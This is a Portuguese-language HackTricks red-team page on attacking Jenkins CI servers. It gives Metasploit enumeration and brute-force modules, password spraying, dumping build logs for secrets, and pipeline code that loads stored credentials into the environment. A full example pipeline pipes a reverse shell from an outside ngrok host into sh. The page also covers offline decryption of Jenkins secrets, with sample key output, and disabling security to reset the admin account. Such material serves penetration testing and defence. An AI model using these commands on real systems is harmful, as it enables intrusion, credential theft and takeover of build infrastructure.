Jenkins Security

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

O Jenkins é uma ferramenta que oferece um método direto para estabelecer um ambiente de integração contínua ou entrega contínua (CI/CD) para quase qualquer combinação de linguagens de programação e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas de desenvolvimento rotineiras. Embora o Jenkins não elimine a necessidade de criar scripts para etapas individuais, ele fornece uma maneira mais rápida e robusta de integrar toda a sequência de ferramentas de compilação, teste e implantação do que se pode facilmente construir manualmente.

pageBasic Jenkins Information

Enumeração não autenticada

Para procurar páginas interessantes do Jenkins sem autenticação como (/people ou /asynchPeople, que lista os usuários atuais), você pode usar:

msf> use auxiliary/scanner/http/jenkins_enum

Verifique se você pode executar comandos sem precisar de autenticação:

msf> use auxiliary/scanner/http/jenkins_command

Sem credenciais, você pode olhar dentro do caminho /asynchPeople/ ou /securityRealm/user/admin/search/index?q= para nomes de usuário.

Você pode ser capaz de obter a versão do Jenkins a partir do caminho /oops ou /error

Vulnerabilidades Conhecidas

Login

Nas informações básicas, você pode verificar todas as formas de fazer login no Jenkins:

pageBasic Jenkins Information

Registrar

Você poderá encontrar instâncias do Jenkins que permitem que você crie uma conta e faça login dentro dela. Tão simples assim.

Login SSO

Também, se a funcionalidade/plugins SSO estiverem presentes, você deve tentar fazer login na aplicação usando uma conta de teste (ou seja, uma conta de teste do Github/Bitbucket). Truque de aqui.

Bruteforce

O Jenkins carece de política de senha e mitigação de força bruta de nome de usuário. É essencial fazer força bruta nos usuários, já que senhas fracas ou nomes de usuário como senhas podem estar em uso, até mesmo nomes de usuário invertidos como senhas.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Utilize este script python ou este script powershell.

Bypass de Lista Branca de IP

Muitas organizações combinam sistemas de gerenciamento de controle de origem (SCM) baseados em SaaS como GitHub ou GitLab com uma solução CI interna, auto-hospedada como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI recebam eventos de webhook dos fornecedores de controle de origem SaaS, principalmente para acionar trabalhos de pipeline.

Para alcançar isso, as organizações colocam em lista branca as faixas de IP das plataformas SCM, permitindo que elas acessem o sistema CI interno via webhooks. No entanto, é importante notar que qualquer pessoa pode criar uma conta no GitHub ou GitLab e configurá-la para acionar um webhook, potencialmente enviando solicitações para o sistema CI interno.

Verifique: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Abusos Internos do Jenkins

Nesses cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.

Dependendo do mecanismo de Autorização configurado no Jenkins e da permissão do usuário comprometido, você pode ou não ser capaz de realizar os ataques a seguir.

Para mais informações, verifique as informações básicas:

pageBasic Jenkins Information

Listando usuários

Se você acessou o Jenkins, pode listar outros usuários registrados em http://127.0.0.1:8080/asynchPeople/

Despejando builds para encontrar segredos em texto claro

Utilize este script para despejar saídas de console de build e variáveis de ambiente de build para, esperançosamente, encontrar segredos em texto claro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Roubo de Credenciais SSH

Se o usuário comprometido tiver privilégios suficientes para criar/modificar um novo nó do Jenkins e as credenciais SSH já estiverem armazenadas para acessar outros nós, ele poderia roubar essas credenciais criando/modificando um nó e configurando um host que registrará as credenciais sem verificar a chave do host:

Normalmente, você encontrará as credenciais SSH do Jenkins em um provedor global (/credentials/), então você também pode extraí-las como faria com qualquer outro segredo. Mais informações na seção Extração de segredos.

RCE no Jenkins

Obter um shell no servidor Jenkins dá ao atacante a oportunidade de vazar todos os segredos e variáveis de ambiente e de explorar outras máquinas localizadas na mesma rede ou até mesmo coletar credenciais de nuvem.

Por padrão, o Jenkins executará como SYSTEM. Portanto, comprometê-lo dará ao atacante privilégios do SYSTEM.

RCE Criando/Modificando um projeto

Criar/Modificar um projeto é uma maneira de obter RCE no servidor Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Executando um script Groovy

Você também pode obter RCE executando um script Groovy, que pode ser mais furtivo do que criar um novo projeto:

pageJenkins RCE with Groovy Script

RCE Criando/Modificando Pipeline

Você também pode obter RCE criando/modificando um pipeline:

pageJenkins RCE Creating/Modifying Pipeline

Exploração de Pipeline

Para explorar pipelines, você ainda precisa ter acesso ao Jenkins.

Construir Pipelines

Pipelines também podem ser usados como mecanismo de construção em projetos, nesse caso pode ser configurado um arquivo dentro do repositório que conterá a sintaxe do pipeline. Por padrão, /Jenkinsfile é usado:

Também é possível armazenar arquivos de configuração de pipeline em outros locais (em outros repositórios, por exemplo) com o objetivo de separar o acesso ao repositório e o acesso ao pipeline.

Se um atacante tiver acesso de escrita sobre esse arquivo, ele poderá modificá-lo e potencialmente acionar o pipeline sem nem mesmo ter acesso ao Jenkins. É possível que o atacante precise burlar algumas proteções de branch (dependendo da plataforma e dos privilégios do usuário, elas podem ser burladas ou não).

Os gatilhos mais comuns para executar um pipeline personalizado são:

  • Pull request para o branch principal (ou potencialmente para outros branches)

  • Push para o branch principal (ou potencialmente para outros branches)

  • Atualizar o branch principal e aguardar até que seja executado de alguma forma

Se você é um usuário externo, não espere criar um PR para o branch principal do repositório de outro usuário/organização e acionar o pipeline... mas se estiver mal configurado, você poderia comprometer totalmente empresas apenas explorando isso.

Pipeline RCE

Na seção anterior de RCE, já foi indicada uma técnica para obter RCE modificando um pipeline.

Verificação de Variáveis de Ambiente

É possível declarar variáveis de ambiente em texto claro para todo o pipeline ou para estágios específicos. Essas variáveis de ambiente não devem conter informações sensíveis, mas um atacante sempre poderia verificar todas as configurações do pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Vazamento de segredos

Para obter informações sobre como os segredos são geralmente tratados pelo Jenkins, consulte as informações básicas:

pageBasic Jenkins Information

As credenciais podem ser restritas a provedores globais (/credentials/) ou a projetos específicos (/job/<project-name>/configure). Portanto, para extrair todas elas, você precisa comprometer pelo menos todos os projetos que contêm segredos e executar pipelines personalizados/envenenados.

Existe outro problema, para obter um segredo dentro do env de um pipeline, você precisa saber o nome e o tipo do segredo. Por exemplo, se você tentar carregar um segredo usernamePassword como um segredo string, você receberá este erro:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aqui está a maneira de carregar alguns tipos comuns de segredos:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

No final desta página, você pode encontrar todos os tipos de credenciais: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

A melhor maneira de extrair todas as senhas de uma vez é comprometendo a máquina Jenkins (executando um shell reverso no nó integrado, por exemplo) e então vazando as chaves principais e as senhas criptografadas e descriptografando-as offline. Saiba mais sobre como fazer isso na seção Nodes & Agents e na seção Pós-Exploração.

Gatilhos

De documentação: A diretiva triggers define as formas automatizadas pelas quais o Pipeline deve ser reativado. Para Pipelines integrados com uma fonte como GitHub ou BitBucket, triggers podem não ser necessários, pois a integração baseada em webhooks provavelmente já estará presente. Os gatilhos atualmente disponíveis são cron, pollSCM e upstream.

Exemplo de Cron:

triggers { cron('H */4 * * 1-5') }

Verifique outros exemplos na documentação.

Nós e Agentes

Uma instância do Jenkins pode ter diferentes agentes em execução em máquinas diferentes. Do ponto de vista de um atacante, o acesso a diferentes máquinas significa diferentes credenciais de nuvem potenciais para roubar ou diferente acesso à rede que poderia ser abusado para explorar outras máquinas.

Para mais informações, consulte as informações básicas:

pageBasic Jenkins Information

Você pode enumerar os nós configurados em /computer/, geralmente encontrará o Nó Incorporado (que é o nó em execução no Jenkins) e potencialmente mais:

É especialmente interessante comprometer o nó incorporado porque ele contém informações sensíveis do Jenkins.

Para indicar que você deseja executar o pipeline no nó Jenkins incorporado, você pode especificar dentro do pipeline a seguinte configuração:

pipeline {
agent {label 'built-in'}

Exemplo completo

Pipeline em um agente específico, com um acionador cron, com variáveis de ambiente de pipeline e estágio, carregando 2 variáveis em uma etapa e enviando um shell reverso:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Pós-Exploração

Metasploit

msf> post/multi/gather/jenkins_gather

Segredos do Jenkins

Você pode listar os segredos acessando /credentials/ se tiver permissões suficientes. Note que isso apenas listará os segredos dentro do arquivo credentials.xml, mas os arquivos de configuração de build podem ter mais credenciais.

Se você pode ver a configuração de cada projeto, também pode ver lá os nomes das credenciais (segredos) sendo usados para acessar o repositório e outras credenciais do projeto.

A partir de Groovy

pageJenkins Dumping Secrets from Groovy

Do disco

Estes arquivos são necessários para descriptografar os segredos do Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Tais segredos geralmente podem ser encontrados em:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Aqui está uma regex para encontrá-los:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Descriptografar segredos do Jenkins offline

Se você tiver despejado as senhas necessárias para descriptografar os segredos, use este script para descriptografar esses segredos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Descriptografar segredos do Jenkins a partir do Groovy

println(hudson.util.Secret.decrypt("{...}"))

Criar novo usuário administrador

  1. Acesse o arquivo config.xml do Jenkins em /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkins\

  2. Procure pela palavra <useSecurity>true</useSecurity> e altere a palavra true para false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Reinicie o servidor Jenkins: service jenkins restart

  5. Agora acesse o portal do Jenkins novamente e o Jenkins não solicitará credenciais desta vez. Navegue até "Gerenciar Jenkins" para definir a senha do administrador novamente.

  6. Habilite a segurança novamente alterando as configurações para <useSecurity>true</useSecurity> e reinicie o Jenkins novamente.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización